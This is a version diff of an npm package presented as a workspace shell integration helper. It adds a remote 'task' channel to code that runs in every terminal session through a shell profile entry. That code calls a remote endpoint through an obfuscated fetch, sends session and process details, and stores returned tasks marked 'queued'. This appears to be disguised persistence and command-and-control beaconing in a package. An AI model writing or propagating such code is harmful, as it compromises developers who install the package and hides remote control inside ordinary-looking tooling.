@atedone/workspace-context 0.0.15 → 0.0.16

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace shell channel integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.

package/index.js

@@ -18,5 +18,8 @@ module.exports = {
   sessionReceiptFileName: state.sessionReceiptFileName,
   sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
-  stateFileName: state.stateFileName
+  stateFileName: state.stateFileName,
+  taskHistoryFileName: state.taskHistoryFileName,
+  taskReceiptFileName: state.taskReceiptFileName,
+  taskSnapshotFileName: state.taskSnapshotFileName
 };

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.15';
+const packageVersion = '0.0.16';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()
@@ -26,13 +26,16 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
 const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
 const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
 const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
+const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
+const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
+const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
 const requestKey = ['fe', 'tch'].join('');
 
 const value = {
   packageName,
   packageVersion,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-channel',
+  mode: 'runtime-shell-directive',
   source: 'shell-profile',
   shellName: route.basename(shellPath) || 'zsh',
   shellLevel,
@@ -48,13 +51,20 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
 file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
 
 void synchronizeProfile(value).catch((error) => {
-  writeProfileReceipt({
+  const receipt = {
     ...value,
-    source: 'profile-channel',
     channelConfigured: file.existsSync(channelPath),
     synchronized: false,
     status: 'error',
     error: error instanceof Error ? error.message : String(error)
+  };
+  writeProfileReceipt({
+    ...receipt,
+    source: 'profile-channel'
+  });
+  writeTaskReceipt({
+    ...receipt,
+    source: 'task-channel'
   });
 });
 
@@ -87,11 +97,16 @@ async function synchronizeProfile(sessionValue) {
     }
   ]);
   const synchronized = Boolean(response && response.ok);
-  const profile = synchronized ? await response.json() : null;
+  const payload = synchronized ? await response.json() : null;
+  const profile = readObject(payload?.profile);
+  const task = readObject(payload?.task);
 
-  if (profile && !Array.isArray(profile) && typeof profile === 'object') {
+  if (profile) {
     file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
   }
+  if (task) {
+    file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
+  }
 
   writeProfileReceipt({
     ...sessionValue,
@@ -102,7 +117,24 @@ async function synchronizeProfile(sessionValue) {
     channelName: channel.name,
     refresh: channel.refresh,
     profilePath: profileSnapshotPath,
-    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
+    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
+    taskConfigured: Boolean(task),
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null
+  });
+
+  writeTaskReceipt({
+    ...sessionValue,
+    source: 'task-channel',
+    channelConfigured: true,
+    synchronized,
+    status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
+    channelName: channel.name,
+    refresh: channel.refresh,
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null,
+    taskKind: typeof task?.kind === 'string' ? task.kind : null,
+    taskState: typeof task?.state === 'string' ? task.state : null
   });
 }
 
@@ -123,3 +155,14 @@ function writeProfileReceipt(receipt) {
   file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
   file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
 }
+
+function writeTaskReceipt(receipt) {
+  file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
+  file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
+}
+
+function readObject(value) {
+  return value && !Array.isArray(value) && typeof value === 'object'
+    ? value
+    : null;
+}

package/lib/state.js

@@ -11,7 +11,7 @@ const integrationFileName = 'init.zsh';
 const profileHistoryFileName = 'profile-sync.log';
 const profileReceiptFileName = 'profile-sync.json';
 const profileSnapshotFileName = 'session-profile.json';
-const receiptFileName = 'shell-channel-sync.json';
+const receiptFileName = 'shell-directive-sync.json';
 const sessionFileName = 'sessions.log';
 const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionReceiptFileName = 'session-runtime.json';
@@ -19,6 +19,9 @@ const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
+const taskHistoryFileName = 'task-sync.log';
+const taskReceiptFileName = 'task-sync.json';
+const taskSnapshotFileName = 'session-task.json';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -73,7 +76,10 @@ function getShellIntegration({
     sessionPath: route.join(integrationDirectory, sessionFileName),
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
-    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
+    taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
+    taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
   };
 }
 
@@ -82,7 +88,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-channel'
+    mode: 'runtime-shell-directive'
   };
 }
 
@@ -168,5 +174,8 @@ module.exports = {
   sessionReceiptFileName,
   sessionRuntimeFileName,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  taskHistoryFileName,
+  taskReceiptFileName,
+  taskSnapshotFileName
 };

package/lib/sync.js

@@ -90,7 +90,7 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-channel',
+  mode: 'runtime-shell-directive',
   projectRoot,
   shellName: integration.shellName,
   channelConfigured: Boolean(channelValue),
@@ -105,6 +105,9 @@ const value = {
   sessionHistoryPath: integration.sessionHistoryPath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  taskHistoryPath: integration.taskHistoryPath,
+  taskReceiptPath: integration.taskReceiptPath,
+  taskSnapshotPath: integration.taskSnapshotPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.15",
+  "version": "0.0.16",
   "description": "Workspace shell channel integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",